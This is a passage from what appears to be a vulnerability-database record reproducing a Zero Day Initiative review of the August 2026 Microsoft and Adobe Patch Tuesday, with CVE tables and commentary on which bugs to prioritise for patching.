Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59132\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62792\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59122\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61353\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62701\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62723\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62724\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62725\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62726\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62729\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62732\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62734\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62748\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62699\n  Windows Universal Disk\n  Format File System Driver (UDFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61926\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62721\n  Windows User-Mode\n  Power Service (UMPS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62711\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62712\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62733\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62876\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62877\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62885\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65678\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65775\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65776\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62730\n  Windows Wired\n  AutoConfig Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61349\n  Windows Work Folder\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61939\n  Winlogon Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56179\n  Windows\n  Network Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \nAs with last month, I\u2019ll do my best to summarize everything else in this release, but assume there are details I miss that are relevant to your environment.\nLooking at the remaining Critical-rated patches, you are safe to ignore the scariest looking ones, including the CVSS 10\u2019s. These have already been mitigated by Microsoft and do not count towards today\u2019s total of 398. The iSCSI Target service, however, is a CVSS 9.8, but it\u2019s not installed by default. Microsoft notes a DHCP Server heap overflow and a SharePoint deserialization bug are both listed as \u201cexploitation more likely\u201d. That SharePoint bug brought two EoP siblings along for the ride. And what would a Patch Tuesday be without Preview Pane exploit vectors in Office components? There are many in August, although there are a few Office bugs listed as Critical but without the Preview Pane vector. Odd. Then there\u2019s the mid-tier pile no one is proud of, but everybody needs to patch anyway: AD CS, RRAS, SSTP, and a matched pair in Device Health Attestation, all leaning on higher attack complexity as their only saving grace. Consider this a coin flip, not a shield. The bug in RMCAST is unauthenticated but requires an adjacent attacker. The bug in Key Guard is a bit interesting, as it could lead to an attacker gaining Virtual Trust Level 1 (VTL1) privileges. The final Critical-rated bug is in the RDP client, but it requires a user to connect to a malicious RDP server.\nMoving on to the other code execution bugs, SharePoint alone accounts for seven of these, six of them the same deserialization-of-untrusted-data flaw repeated almost verbatim across different code paths, all needing only low-privilege auth and no interaction. The seventh is an input-validation miss that needs no auth at all, just a harder-to-pull-off attack chain. LDAP and SMBv3 each draw a matching pair of patches. The LDAP bugs are a heap overflow and a use-after-free, both needing a user to interact with something first; the SMBv3 pair is twin heap overflows. Visual Studio Code adds three of its own: missing authorization, OS command injection, and straight code injection, all requiring a user to open or run something. The AI-coding-tool-vuln-of-the-month tradition continues uninterrupted. The rest of the CVSS 8.1\u20138.8 tier is a grab bag with a common thread \u2014 LSASS and Exchange Server both go down to heap overflows with low-privilege access, Dynamics 365 On-Premises gets the SharePoint treatment (deserialization), and Active Directory Domain Services picks up a command-injection bug that needs a user's cooperation. Add one apiece for Teams, Power BI, Outlook, and a pair for Windows Media Foundation, plus a higher-complexity trio: RPC Runtime Library, Windows TCP/IP, and a second iSCSI Target Service bug. All needing unusual attack conditions to line up, which buys you a little time but not an excuse. Then the file-format mountain: seventeen Excel bugs, six in Access, four apiece in Office and Office Word, one plain Word, one PowerPoint, one .NET Core. Remote Desktop Client's other three bugs sit at a comparatively modest 7.5, but don't read too much comfort into that \u2014 all three need high attack complexity and user interaction, which is precisely the combination phishing campaigns are built to satisfy. Closing out RCE category, there are two more DNS Server bugs, a DHCP Client use-after-free needing local low-privilege access, a Universal Disk Format driver bug that requires physical media and a Windows Codecs Library.\nThere are nearly 180 privilege escalation bugs fixed this month, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. Believe it or not, that leaves only about 20 bugs to discuss. Access control keeps failing in the same places: SharePoint draws two EoPs, then contributes a third via server-side request forgery, and a fourth through cross-site scripting (XSS) that at least needs a user to click something first. Entra Connect adds a SQL injection, .NET Framework an incorrect-authorization bug, and Azure CycleCloud adds a missing-authorization flaw, That\u2019s five different products with the same underlying lesson about checking who\u2019s allowed to do what. Windows Telephony Service is the surprise repeat offender, landing four separate EoPs, but four bugs in one dusty legacy service in a single release is the kind of pattern that makes you wonder who's still dialing in. The rest is a genuine grab bag: Key Guard gets a heap overflow sitting on the trust chain below the OS, DHCP Client and Narrator Braille both fall to local low-privilege bugs, .NET picks up an uncaught exception that actually changes scope, .NET Framework adds a path-traversal bug requiring a click, GitHub Copilot and VS Code get an OS command injection needing the same, Azure Storage Explorer falls to XSS, Azure Monitor Agent and OneDrive for macOS both need high privileges just to start, which caps their real-world urgency, and Exchange Server closes it out with an SSRF bug whose blast radius Microsoft itself rates as confidentiality-only, no integrity or availability hit.\nThere are 11 SFB bugs this month, all Important, none exploited or publicly disclosed. Visual Studio Code accounts for four, Python extension included: one fails open outright, the other three trip on bad authorization checks \u2014 all need a click, which is a low bar in a tool people click through constantly. PowerShell adds a code-injection bypass, and Copilot Chat gets one as well. Exchange Server and Windows Defender Firewall Service both via have missing authorization bugs. The .NET service has a bug via HTTP request smuggling, Active Directory via weak encryption, and Schannel via bad signature verification. In the low individual urgency category, both Schannel and AD have bugs with  \u201cbroken crypto trust\u201d are worth a second look despite the low scores.\nLooking at the info disclosure bugs, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. There are few others of note. The CVSS 6.5 tier is the one with more bite: Windows DHCP Server alone accounts for eight of these, three more hit Remote Desktop Client, two hit SMB Client, two hit Excel, and singles land in PowerShell, .NET, Azure CycleCloud, two Dynamics products, SharePoint, Teams iOS, and VS Code. All are unauthenticated, network-reachable memory leaks, but DHCP Server picking up eight in one release is a pattern, not noise. Everything else sits at 5.5 or below and is almost entirely \"leaks unspecified memory contents,\" differing mainly by which component leaks it. Office file formats dominate with roughly twenty bugs split across Excel, Word, Office generically, Office Graphics, and PowerPoint. Win32k contributes four, NTFS five, GDI/GDI+ three, Event Logging and WMI two apiece, DWM Core two, AMD Zen two. The remaining singles clear out fine during a normal patch cycle without special urgency.\nMoving on to spoofing patches for August, SharePoint dominates with eleven bugs, mostly stored XSS letting an authenticated attacker spoof content, plus a mixed bag of deserialization, code injection, SSRF, and credential exposure at the low end. Outside SharePoint, Teams for Android/iOS gets a high-CVSS (8.8) XSS bug. Exchange Server gets one too. Windows NAT has a scope-changing origin-validation flaw reachable from an adjacent network, and Outlook closes it out with a credential-exposure spoofing bug.\nThere are 14 DoS bugs getting patched this month. NULL pointer dereferences dominate: TCP/IP, iSCSI Target Service, Windows Graphics Kernel, and Remote Registry Service (twice) all crash the same way, unauthenticated over the network. iSCSI Target Service adds a second DoS via heap overflow, with three hits total this release counting its RCE. Resource-exhaustion bugs cover .NET, RPC, DHCP Client, and Microsoft Identity - all unauthenticated, all just flood-and-crash. The rest need local or elevated access: Exchange Server, Windows Network File System, and path/link-resolution bug in Windows Management Services. In other words, nothing exotic. Just patch it in the normal cycle, with a nod to Remote Registry Service and iSCSI Target Service for repeat appearances.\nFinally, there are a handful of tampering bugs receiving patches this month. They start with SharePoint via incorrect authorization. The Windows HTTP Protocol Stack has a bug via a partial string comparison flaw reachable from an adjacent network, and Windows Hello via cleartext storage of sensitive data locally. The Hello one is the one worth a second glance. Biometric auth storing something in the clear isn't a great look, even at a modest 5.5.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on September 8, just after Labor Day here is the US. I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-08-12T01:00:55.375692Z"}, {"uuid": "9621142f-fcf7-4abe-81e1-4a2ecd6f06ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54113", "type": "seen", "source": "https://www.thezdi.com/blog/2026/8/11/the-august-2026-security-update-review", "content": "I\u2019ve successfully survived Hacker Summer Camp, and I have returned with a new outlook on patch density. When even Linus Torvalds says that huge updates are the \u201cnew normal\u201d, it\u2019s time to readjust what we consider a true bug apocalypse. This month\u2019s release is thankfully smaller than last months, but still huge by historical standards. Take a break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for August 2026\nFor the first part of the August release, Adobe released five bulletins addressing 51 unique CVEs in Adobe ColdFusion, Commerce, Lightroom Classic, Content Credentials SDK, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\nAdobe Patches for August 2026\n\n\n\n  \nAdobe Patches for August 2026\n  \n\n    \n      \n        Bulletin ID\n        Product\n        CVE Count\n        Highest Severity\n        Highest CVSS\n        Exploited\n        Deployment Priority\n      \n    \n    \n      \n        APSB26-90\n        Adobe ColdFusion\n        15\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-123\n        Adobe Campaign Classic\n        3\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-92\n        Adobe Commerce\n        7\n        Critical\n        9.1\n        No\n        2\n      \n      \n        APSB26-94\n        Adobe Lightroom Classic\n        11\n        Critical\n        8.6\n        No\n        3\n      \n      \n        APSB26-111\n        Content Credentials SDK\n        15\n        Critical\n        7.5\n        No\n        3\n      \n      \n        TOTAL\n        5 bulletins\n        51\n        \n        \n        \n        \n      \n    \n  \n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nIf you\u2019re running Campaign Classic, that\u2019s your priority. Not only is it a deployment priority of 1, but it also contains two different CVSS 10 bugs and supersedes the patch that was just released on August 3. ColdFusion is also deployment priority 1 and also contains a CVSS 10 bug. Adobe Commerce rates a priority 2 with code execution bugs as high as CVSS 9.1. The patches for Lightroom Classic and Content Credentials SDK are packed with CVEs, but only rate a deployment priority of 3.\nNone of the Adobe bugs receiving patches this month are listed as publicly known or under active attack at the time of release.\nMicrosoft Patches for August 2026\nThere are a couple of things to point out right at the beginning. Again, counting is difficult due to the size, but I see 398 new CVEs to go along with the other updates documented this month. However, there is only one listed being under active attack, so we\u2019ve got that going for us, which is nice. The release impacts Windows and Windows components, Office and Office Components, AMD Zen, Azure and Azure Components, GitHub Copilot, Windows Defender, Exchange Server, SharePoint, OneDrive for macOS, Teams, Power BI, .NET and Visual Studio, DHCP Server and Client, DNS Server, and Windows TPM. Minecraft is absent from this release.  All told, there are 62 rated Critical, one rated Moderate, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program.\nThis volume of updates indeed seems to be the new normal \u2013 at least for now. What is interesting is that, while there is an explosion of bugs being reported (and fixed), there has been no equivalent increase in the number of bugs being actively exploited, at least as 0-days.\nAgain, we\u2019ll start with the bug under active attack and move on from there. \n-              CVE-2026-68820 - Windows Ancillary Function Driver for WinSock Elevation of Privilege VulnerabilityThis bug allows attackers to execute code at SYSTEM level. Bugs of this type are often paired with code execution bugs to take over a system, often through phishing or ransomware. One nitpick here: Microsoft lists the Exploit Code Maturity in the CVSS as \u201cUnproven\u201d but calls this out as actively exploited. Somewhere, that math ain\u2019t mathing.\n-              CVE-2026-62878 - Windows DNS Server Remote Code Execution VulnerabilityThere are several DNS-related patches this month, but this one stands out by far. It allows a remote, unauthenticated attacker to execute code with elevated privileges without user interaction. It\u2019s a good ol\u2019 fashioned stack-based buffer overflow that ends up wormable. Microsoft states exploitation is less likely, but I wouldn\u2019t count on that. I suggest testing and deploying this one quickly, especially to your Internet-facing DNS servers.\n -              CVE-2026-62893 - Windows Deployment Services TFTP Server Remote Code Execution VulnerabilityThis bug came through the ZDI program and allows for code execution without user authentication or user interaction. TFTP has no auth mechanism and is available remotely vid UDP port 69. Any WDS server serving Windows Imaging Format (WIM) files via TFTP (the standard PXE boot scenario) is vulnerable. The issue results from the lack of validating the existence of an object prior to performing operations on the object. UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you\u2019re using WDS for deployments in your enterprise.\n -              CVE-2026-62815 - Microsoft QUIC Remote Code Execution VulnerabilityHere we have another remote, unauthenticated code execution bug that doesn\u2019t require user interaction. This one is in the QUIC component. If you aren\u2019t familiar with it, QUIC is an IETF-standardized transport protocol that runs over UDP instead of TCP, and it's the foundation for HTTP/3. Roughly 13.5 million websites rely on it. If you are one of those millions, test and deploy this patch rapidly.\n -              CVE-2026-59124 - Microsoft High Performance Computing (HPC) Pack Remote Code Execution VulnerabilityDon\u2019t let the Important severity rating fool you; this is still a CVSS 9.8 bug. It gets knocked down since HPC isn\u2019t on by default. However, it\u2019s a hugely growing segment, and this is another remote, unauthenticated code execution bug that does not require user interaction. It might not be applicable to everyone, but if you\u2019re using HPC in your environment, this is not one to sleep on, especially since Microsoft lists this as \u201cexploitation more likely\u201d.\n -              CVE-2026-62911 - Microsoft Exchange Server Elevation of Privilege VulnerabilityThere are several Exchange bugs in this release, but this one really stands out. It could allow a privilege escalation via an authentication bypass. If successful, an attacker could \u201ctake over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments.\u201d This bug was one of the ones demonstrated at Pwn2Own Berlin, so ignore Microsoft\u2019s exploitability and Exploit Code Maturity ratings. We handed them working exploits, so this is a real threat. As always, test out those Exchange updates before deploying, but don\u2019t hurry up and schedule that downtime for your upgrade. \nHere\u2019s the full list of CVEs released by Microsoft for August 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-68820\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-62832\n  Windows User Profile\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  EoP\n \n \n  CVE-2026-49163 **\n  Application Insights\n  Profiler Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50481 **\n  Azure Active Directory\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68823 **\n  Azure Confidential\n  Ledger Remote Code Execution Vulnerability\n  Critical\n  9.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62869 **\n  Azure Entra ID\n  Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56161 **\n  Azure Logic Apps\n  Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50515 **\n  Azure Service Bus\n  Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-56162 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-63522 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62836 **\n  Azure SQL Managed\n  Instance Elevation of Privilege Vulnerability\n  Critical\n  8.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62830 **\n  Azure SRE Agent\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-62873 **\n  Microsoft 365 Admin\n  Center Elevation of Privilege Vulnerability\n  Critical\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50516 **\n  Microsoft Azure\n  Kubernetes Service Elevation of Privilege Vulnerability\n  Critical\n  9.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-59115 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68794\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68804\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68816\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62911\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-63513\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63519\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63526\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65664\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66807\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63515\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63532\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64898\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64903\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64909\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64910\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64911\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65657\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70130\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-70332 **\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63518\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63525\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64907\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63508 **\n  Microsoft Planetary\n  Computer Pro Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-59118 **\n  Microsoft Power Apps\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-65668 **\n  Microsoft Purview\n  eDiscovery Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62815\n  Microsoft QUIC Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62827\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64921\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65665\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62896 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  9.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-65667 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-62918 **\n  Microsoft Teams\n  Spoofing Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62824\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62818\n  Windows Active\n  Directory Certificate Services (AD CS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62893\n  Windows Deployment\n  Services TFTP Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66802\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-71331\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62823\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62817\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62820\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62878\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65789\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62890\n  Windows GDI+ Elevation\n  of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62822\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65791\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66799\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62816\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62819\n  Windows Routing and\n  Remote Access Service (RRAS) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62889\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-70354\n  .NET Core Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62901\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58641\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62871\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62886\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62909\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62872\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65810\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62897\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62900\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  5.9\n  No\n  No\n  Info\n \n \n  CVE-2026-62902\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62899\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  5.9\n  No\n  No\n  SFB\n \n \n  CVE-2026-65777\n  Active Directory\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-59130\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-59131\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62898\n   Microsoft QUIC Information Disclosure\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61357\n  Application\n  Information Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70340\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-65806\n  Azure CycleCloud\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47299\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-57104\n  Azure Storage Explorer\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62892\n  Capability Access\n  Management Service (camsvc) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65675\n  CoPilot Chat Security\n  Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-65786\n  Desktop 